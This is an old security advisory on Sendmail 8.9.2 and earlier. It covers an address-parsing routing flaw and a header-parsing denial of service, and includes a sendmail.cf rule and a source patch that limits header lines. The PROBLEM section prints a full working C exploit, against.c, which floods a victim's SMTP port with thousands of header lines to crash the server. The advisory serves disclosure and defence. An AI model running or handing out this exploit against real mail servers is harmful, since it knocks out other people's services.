COMMAND

    sendmail

SYSTEMS AFFECTED

    Sendmail 8.8.x/8.9.x (incliding 8.9.2)

PROBLEM

    Michal Zalewski posted following.  Due to strange address  parsing
    policy [briefly: if address ends with local hostname, trim it  and
    parse as  any other  (even if  after this  operation address isn't
    'local' anymore], specific message routing (eg. through  internal,
    protected or external networks) can be forced, giving an  occasion
    to perform anonymous scanning (or fakemailing).  You could call it
    'feature' instead of 'bug', but it seems to be Sendmail-specific.

    There are  also possible  DoS attacks  due to  ineffective headers
    prescan  algorithm.   Two  or  three  medium-size  (200  kb)  mail
    messages may render system unusable for quite long period of  time
    (as headers are parsed at  least twice, on message collection  and
    in queue).   This was tested  with some systems  - it brings  down
    everything, from DecStations running  NetBSD, over linux, to  HP's
    running HPUX, all with the latest sendmail, and in all the  cases,
    sendmail died after 30 secs, and the load was very high... Exploit
    follows:

    /*
      against.c - Another Sendmail (and pine ;-) DoS (up to 8.9.2)
      (c) 1999 by <marchew@linux.lepszy.od.kobiety.pl>

      Usage: ./against existing_user_on_victim_host victim_host
      Example: ./against nobody lamers.net

    */

    #include <stdio.h>
    #include <unistd.h>
    #include <sys/param.h>
    #include <sys/socket.h>
    #include <sys/time.h>
    #include <netinet/in.h>
    #include <netdb.h>
    #include <stdarg.h>
    #include <errno.h>
    #include <signal.h>
    #include <getopt.h>
    #include <stdlib.h>
    #include <string.h>

    #define MAXCONN 4
    #define LINES   15000

    struct hostent *hp;
    struct sockaddr_in s;
    int suck,loop,x;

    int main(int argc,char* argv[]) {

      printf("against.c - another Sendmail DoS (up to 8.9.2)\n");

      if (argc-3) {
	printf("Usage: %s victim_user victim_host\n",argv[0]);
	exit(0);
      }

      hp=gethostbyname(argv[2]);

      if (!hp) {
	perror("gethostbyname");
	exit(1);
      }

      fprintf(stderr,"Doing mess: ");

      for (;loop<MAXCONN;loop++) if (!(x=fork())) {
	FILE* d;
	bcopy(hp->h_addr,(void*)&s.sin_addr,hp->h_length);
	s.sin_family=hp->h_addrtype;
	s.sin_port=htons(25);
	if ((suck=socket(AF_INET,SOCK_STREAM,0))<0) perror("socket");
	if (connect(suck,(struct sockaddr *)&s,sizeof(s))) perror("connect");
	if (!(d=fdopen(suck,"w"))) { perror("fdopen"); exit(0); }

	usleep(100000);

	fprintf(d,"helo tweety\n");
	fprintf(d,"mail from: tweety@polbox.com\n");
	fprintf(d,"rcpt to: %s@%s\n",argv[1],argv[2]);
	fprintf(d,"data\n");

	usleep(100000);

	for(loop=0;loop<LINES;loop++) {
	  if (!(loop%100)) fprintf(stderr,".");
	  fprintf(d,"To: x\n");
	}

	fprintf(d,"\n\n\nsomedata\n\n\n");

	fprintf(d,".\n");

	sleep(1);

	fprintf(d,"quit\n");
	fflush(d);

	sleep(100);
	shutdown(suck,2);
	close(suck);
	exit(0);
      }

      waitpid(x,&loop,0);

      fprintf(stderr,"ok\n");

      return 0;
    }

SOLUTION

    Simple fix for first bug  described.  In /etc/sendmail.cf, at  the
    top of ruleset 98, insert following line:

	R$*@$*@$*       $#error $@ 5.7.1 $: "551 Sorry, no redirections."

    Unfortunately RFC  822 (and  its followups)  specify two  kinds of
    problematic accepted address formats:

	user%host@relay

	@relay:user@host

    which both indicate  that mail to  user@host should be  redirected
    through relay (which  may actually be  a sequence of  relays, i.e.
    user%host%relay2@relay1 or @relay1,relay2:user@host).  "fix" above
    would break at least the  second format.  Disabling _relaying_  at
    all will fix the problem.  Sendmail users should be sure to update
    their  sendmail.cf  when  upgrading  their  sendmail  binary.  The
    sendmail 8.9.2 binary alone will not stop relaying.  The  rulesets
    provide the hooks for stopping relaying.  Instructions on building
    a  new  sendmail.cf  are  available  in  cf/README in the sendmail
    distribution.

    While  studying  the  denial  of  service  attack  found by Michal
    sendmail team found another related area which Michal's patch  did
    not catch.   The patch  below extends  Michal's patch  by limiting
    both  the  number  of  header  lines  as  well as the size of each
    individual header line.  The patch will enforce reasonable  limits
    on  these  lengths  and  adds  a  new configuration item.  The new
    option  syntax  is  similar  to  that  of  the MaxMimeHeaderLength
    option:

	O MaxHeaderLines=####/####

    where the first number is  the number of lines that  sendmail will
    accept and  the second  number is  the length  of each  line.  The
    default is 1000/990.  This option can be set in a .mc file  (after
    applying the patch) with:

	define(confMAX_HEADER_LINES, `1000/990')

    Also note that  the count is  per line where  before concatenating
    continuation lines.   For example, the  following will be  counted
    as 2 lines (even though it is a single header):

	To: gshapiro,
		eric

    The patch is for sendmail 8.9.2.   To apply the patch, expand  the
    sendmail  distribution  and  follow  these  steps  (available from
    ftp://ftp.sendmail.org/pub/sendmail/):

	cd sendmail-8.9.2
	patch -lp0 < patchfile

    Note  that  the  patch  program  which  ships with Solaris has had
    problems  with  patches  in  the  past.   Please  use  GNU   patch
    (ftp://ftp.gnu.org/pub/gnu/) if you are  on a Solaris system.   To
    enable the new MaxHeaderLines  option, you will need  to recompile
    with  '-D_FFR_MAX_HEADER_LINES'.   To  accomplish  this,  add  the
    following line to sendmail-8.9.2/BuildTools/Site/site.config.m4:

	APPENDDEF(`confENVDEF', `-D_FFR_MAX_HEADER_LINES=1')

    Then recompile with './Build -c' in the src directory:

	cd sendmail-8.9.2/src
	./Build -c

    Finally, install the new binary and restart your sendmail  daemon.
    sendmail 8.9.3, currently under test, will include this patch.

    *** -   Wed Dec 31 16:00:00 1969
    --- src/conf.h        Mon Jan 18 15:16:14 1999
    ***************
    *** 65,70 ****
    --- 65,76 ----
      # else
      #  define MAXMACNAMELEN       20              /* max macro name length */
      # endif
    + # ifndef MAXHDRLINES
    + #  define MAXHDRLINES 1000            /* max lines in a message header */
    + # endif
    + # ifndef MAXHDRLINELEN
    + #  define MAXHDRLINELEN       SMTPLINELIM     /* max length of a header line */
    + # endif

      /**********************************************************************
      **  Compilation options.

    *** -   Wed Dec 31 16:00:00 1969
    --- src/collect.c     Tue Jan 19 20:27:20 1999
    ***************
    *** 53,58 ****
    --- 53,59 ----
      #define MS_UFROM      0       /* reading Unix from line */
      #define MS_HEADER     1       /* reading message header */
      #define MS_BODY               2       /* reading message body */
    + #define MS_DISCARD    3       /* discarding rest of message */

      void
      collect(fp, smtpmode, hdrp, e)
    ***************
    *** 73,78 ****
    --- 74,81 ----
	    volatile int istate;
	    volatile int mstate;
	    u_char *volatile pbp;
    +       int nhdrlines = 0;
    +       int hdrlinelen = 0;
	    u_char peekbuf[8];
	    char dfname[MAXQFNAME];
	    char bufbuf[MAXLINE];
    ***************
    *** 194,199 ****
    --- 197,203 ----
			    switch (istate)
			    {
			      case IS_BOL:
    +                               hdrlinelen = 0;
				    if (c == '.')
				    {
					    istate = IS_DOT;
    ***************
    *** 258,269 ****
      bufferchar:
			    if (!headeronly)
				    e->e_msgsize++;
    !                       if (mstate == MS_BODY)
			    {
				    /* just put the character out */
				    if (MaxMessageSize <= 0 ||
					e->e_msgsize <= MaxMessageSize)
					    putc(c, tf);
				    continue;
			    }

    --- 262,278 ----
      bufferchar:
			    if (!headeronly)
				    e->e_msgsize++;
    !                       switch (mstate)
			    {
    +                         case MS_BODY:
				    /* just put the character out */
				    if (MaxMessageSize <= 0 ||
					e->e_msgsize <= MaxMessageSize)
					    putc(c, tf);
    +
    +                               /* fall through */
    +
    +                         case MS_DISCARD:
				    continue;
			    }

    ***************
    *** 294,300 ****
    --- 303,325 ----
      #endif
			    }
			    else if (c != '\0')
    +                       {
				    *bp++ = c;
    +                               if (MaxHeaderLineLength > 0 &&
    +                                   ++hdrlinelen > MaxHeaderLineLength)
    +                               {
    +                                       sm_syslog(LOG_NOTICE, e->e_id,
    +                                                 "header line too long (%d max) from %s during message collect",
    +                                                 MaxHeaderLineLength,
    +                                                 CurHostName != NULL ? CurHostName : "localhost");
    +                                       errno = 0;
    +                                       e->e_flags |= EF_CLRQUEUE;
    +                                       e->e_status = "5.6.0";
    +                                       usrerr("552 Header line too long (%d max)",
    +                                               MaxHeaderLineLength);
    +                                       mstate = MS_DISCARD;
    +                               }
    +                       }
			    if (istate == IS_BOL)
				    break;
		    }
    ***************
    *** 327,332 ****
    --- 352,373 ----
				    goto nextstate;
			    }

    +                       if (MaxHeaderLines > 0 &&
    +                           ++nhdrlines > MaxHeaderLines)
    +                       {
    +                               sm_syslog(LOG_NOTICE, e->e_id,
    +                                         "too many header lines (%d max) from %s during message collect",
    +                                         MaxHeaderLines,
    +                                         CurHostName != NULL ? CurHostName : "localhost");
    +                               errno = 0;
    +                               e->e_flags |= EF_CLRQUEUE;
    +                               e->e_status = "5.6.0";
    +                               usrerr("552 Too many header lines (%d max)",
    +                                       MaxHeaderLines);
    +                               mstate = MS_DISCARD;
    +                               break;
    +                       }
    +
			    /* check for possible continuation line */
			    do
			    {
    ***************
    *** 346,351 ****
    --- 387,393 ----
			    if (*--bp != '\n' || *--bp != '\r')
				    bp++;
			    *bp = '\0';
    +
			    if (bitset(H_EOH, chompheader(buf, FALSE, hdrp, e)))
			    {
				    mstate = MS_BODY;

    *** -   Wed Dec 31 16:00:00 1969
    --- src/sendmail.h    Mon Jan 18 16:41:12 1999
    ***************
    *** 1254,1259 ****
    --- 1254,1261 ----
      EXTERN int    MaxRcptPerMsg;  /* max recipients per SMTP message */
      EXTERN bool   DoQueueRun;     /* non-interrupt time queue run needed */
      EXTERN u_long ConnectOnlyTo;  /* override connection address (for testing) */
    + EXTERN int    MaxHeaderLines; /* max lines of headers per message */
    + EXTERN int    MaxHeaderLineLength;    /* max length of a header line */
      #if _FFR_DSN_RRT_OPTION
      EXTERN bool   RrtImpliesDsn;  /* turn Return-Receipt-To: into DSN */
      #endif

    *** -   Wed Dec 31 16:00:00 1969
    --- src/readcf.c      Mon Jan 18 19:15:10 1999
    ***************
    *** 1523,1528 ****
    --- 1523,1532 ----
      #define O_CONTROLSOCKET       0xa9
	    { "ControlSocketName",          O_CONTROLSOCKET,        FALSE   },
      #endif
    + #if _FFR_MAX_HEADER_LINES
    + #define O_MAXHDRLINES 0xaa
    +       { "MaxHeaderLines",             O_MAXHDRLINES,  FALSE   },
    + #endif
	    { NULL,                         '\0',           FALSE   }
      };

    ***************
    *** 2459,2464 ****
    --- 2463,2487 ----
		    if (ControlSocketName != NULL)
			    free(ControlSocketName);
		    ControlSocketName = newstr(val);
    +               break;
    + #endif
    +
    + #if _FFR_MAX_HEADER_LINES
    +         case O_MAXHDRLINES:
    +               p = strchr(val, '/');
    +               if (p != NULL)
    +                       *p++ = '\0';
    +               MaxHeaderLines = atoi(val);
    +               if (p != NULL && *p != '\0')
    +                       MaxHeaderLineLength = atoi(p);
    +
    +               if (MaxHeaderLines > 0 &&
    +                   MaxHeaderLines < 50)
    +                       printf("Warning: MaxHeaderLines: header line limit set lower than 50\n");
    +
    +               if (MaxHeaderLineLength > 0 &&
    +                   MaxHeaderLineLength < MAXHDRLINELEN)
    +                       printf("Warning: MaxHeaderLines: header line length limit set lower than %d\n", MAXHDRLINELEN);
		    break;
      #endif


    *** -   Wed Dec 31 16:00:00 1969
    --- src/conf.c        Mon Jan 18 15:27:30 1999
    ***************
    *** 280,285 ****
    --- 280,287 ----
	    ColonOkInAddr = TRUE;
	    DontLockReadFiles = TRUE;
	    DoubleBounceAddr = "postmaster";
    +       MaxHeaderLines = MAXHDRLINES;
    +       MaxHeaderLineLength = MAXHDRLINELEN;
	    snprintf(buf, sizeof buf, "%s%sdead.letter",
		    _PATH_VARTMP,
		    _PATH_VARTMP[sizeof _PATH_VARTMP - 2] == '/' ? "" : "/");

    *** -   Wed Dec 31 16:00:00 1969
    --- cf/m4/proto.m4    Mon Jan 18 19:28:07 1999
    ***************
    *** 474,479 ****
    --- 474,483 ----
      `# Maximum MIME header length to protect MUAs
      O MaxMimeHeaderLength=confMAX_MIME_HEADER_LENGTH
      ')
    + ifdef(`confMAX_HEADER_LINES',
    + `# Maximum number of header lines and header line length limit
    + O MaxHeaderLines=confMAX_HEADER_LINES
    + ')

      ###########################
      #   Message precedences   #